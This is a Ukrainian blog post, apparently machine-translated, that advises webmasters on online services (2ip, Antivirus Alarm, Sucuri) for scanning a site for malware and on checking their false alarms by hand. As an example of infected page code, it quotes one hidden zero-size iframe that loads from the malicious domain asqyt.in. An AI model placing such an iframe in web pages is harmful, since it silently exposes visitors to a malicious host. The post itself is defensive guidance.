Як перевірити сайт на наявність шкідливого коду.

Іноді буває така ситуація коли потрібно перевірити сайт на віруси. Це може знадобиться наприклад якщо ви довгий час шукайте в інтернеті відповідь на яке вас цікавить і ось нарешті то знайшли але раптом в пошуковику ви натикаєтеся на попередження, що сайт може загрожувати вашої безпеки. Ті хто багато проводить часу в інтернеті розуміють про що я говорю. Для інших я спробую пояснити докладніше, що це може означати.

І так, всі пошукові системи регулярно сканують і перевіряють всі сайти на віруси і шкідливий код. Коли пошуковий робот знаходить такий код на сайті, він автоматично виставляє попередження в пошуку, що цей сайт може загрожувати вашому комп'ютеру. Але не завжди це відповідає дійсності, так як ці роботи можуть помилятися і трапляється таке, що можуть прийняти навіть звичайний код, наприклад, соціальних кнопок або JavaScript за шкідливий. У такій ситуації виникає природне запитання. Чи варто взагалі відвідувати цей сайт?

Якщо є можливість знайти цікаву для вас інформацію на іншому сайті то такий сайт, де є попередження, що він може поширювати шкідливий код або вірус, природно відвідувати не варто. Але коли ви довгий час шукали дуже потрібну вам інформацію і нарешті знайшли, як бути в такому випадку?
Це з одного боку, ну а з іншого боку, якщо ви є власником сайту і в один прекрасний сонячний день, в акаунті яндекса або гугла, ви виявите, попередження, що на вашому сайті є шкідливий код? Я думаю таке попередження вам настрій не поліпшить. І як бути в такому випадку, Як знайти цей шкідливий код або вірус? Звичайні антивірусні програми вам тут навряд чи допоможуть. Для цього випадку є спеціальні програми і онлайн сервіси, які можуть сканувати сайт і перевіряти сайти на шкідливий код. Таких програм і онлайн сервісів в інтернеті природно, напевно, дуже багато. І про всі я тут розповідати не збираюся, та все я їх звичайно і не знаю. Я тут розповім про деякі сервісах, про які я знаю і якими сам користувався.
Якщо ви веб-майстер, то ви можете це зробити через свій акаунт в Яндексі, Гуглі, і т.д. хоча це теж не завжди допомагає. Наприклад, так як було у мене. Одного разу мені один мій знайомий повідомляє, що під час заходу на мій сайт його антивірусна утиліта повідомляє йому, що на моєму сайті є вірус. Я природно відразу ж перевіряю по всім акаунтом у пошукових системах, де тільки зареєстрований мій сайт. І всюди повідомлення про те, що на моєму сайті вірусів або підозр на шкідливий код немає. Виходить, що на думку пошукачів мій сайт чистий і ніяких шкідливих програм і вірусів немає. Але ж антивірусна програма мого знайомого, де то що то знайшла. І така програма встановлена ​​напевно не тільки у нього, але і може бути, так само встановлена ​​ще у багатьох користувачів інтернету. І виходить, що все у кого встановлена ​​така програма обійдуть мій сайт стороною, і не факт, що в наслідку, повернуться на цей сайт, після такого попередження.
Тоді я і почав шукати різні програми і онлайн сервіси для перевірки сайту на шкідливий код. Як я вже писав вище таких сервісів в інтернеті багато але в основному вони просто після сканування показують інформацію про наявність на сайті шкідливого коду. Тобто є підозра чи ні і все. Наприклад як цей сервіс.

2ip - принцип роботи в цьому сервісі звичайний: прописуємо адресу сайту який потрібно перевірити на наявність шкідливого коду і натискаємо кнопку «Перевірити». Після перевірки вам видається повідомлення, чи були виявлені на сайті віруси або підозрілі коди. Цей сервіс також перевіряє, чи вважають пошуковики Яндекс і Google цей сайт зараженим. Але не все так просто.

Як я вже і писав вище всі ці програми і сервіси можуть помилятися, і порахувати підозрілим звичайний JavaScript. Тому завжди потрібно перевірити і переглянути цей код самому. Наприклад як в цьому випадку.

Тут є підозра на вірус і написано, що на сайті виявлено, iframe-вставки. Але якщо розібратися і подивитися код сторінки то можна зрозуміти, що це просто код вставки відео з youtube.

Другий онлайн сервіс для перевірки сайту на наявність шкідливих програм

Antivirus Alarm - для сканування зазначеного вами сайту сервіс використовує антивірусні бази від найбільших світових антивірусних компаній. Повне сканування триває до 10 хвилин і не зупиняється, навіть якщо ви закриваєте сторінку. Тут же вказується посилання, по якій ви зможете подивитися результати в будь-який час. Цей сервіс ще хороший тим, що тут є список найбільш часто виявляються вірусів на сайтах. Наприклад, ось так виглядає код вірусу iframe asqyt.in:
<iframe src = "http://asqyt.in/index.php?tp=544a75b9de10d062" width = "0" height = "0" frameborder = "0"> </ iframe>
Тут же є і список НЕ вірусів. Це дозволяє не поспішати панікувати, коли одна з антивірусних програм приймає код за вірус.
Наприклад тут на думку Google він навіть сам собі не довіряє.

(На момент редагування був недоступний)

Ще один сервіс для перевірки сайту на наявність шкідливого коду.

Sucuri.net - цей сервіс відрізняється від інших тим, що він показує, який саме файл сайту заражений. Так-же можна подивитися, які файли були просканувати. Але після перевірки так само потрібно самому все переглянути. Наприклад якщо у кого на сайті встановлений код социальной кнопки (Одна кнопка.ру) то цей сервіс так само вважатиме цей код підозрілим.

Тому робимо висновок. І моя думка таке, що всі ці сервіси звичайно безперечно корисні і дійсно приносять величезну допомогу в пошуку шкідливого коду на сайті. Але як то кажуть довіряй але перевіряй, так, що кожну інформацію видану цими сервісами потрібно перевіряти самому. І звичайно ж остаточне дію залишається тільки за вами.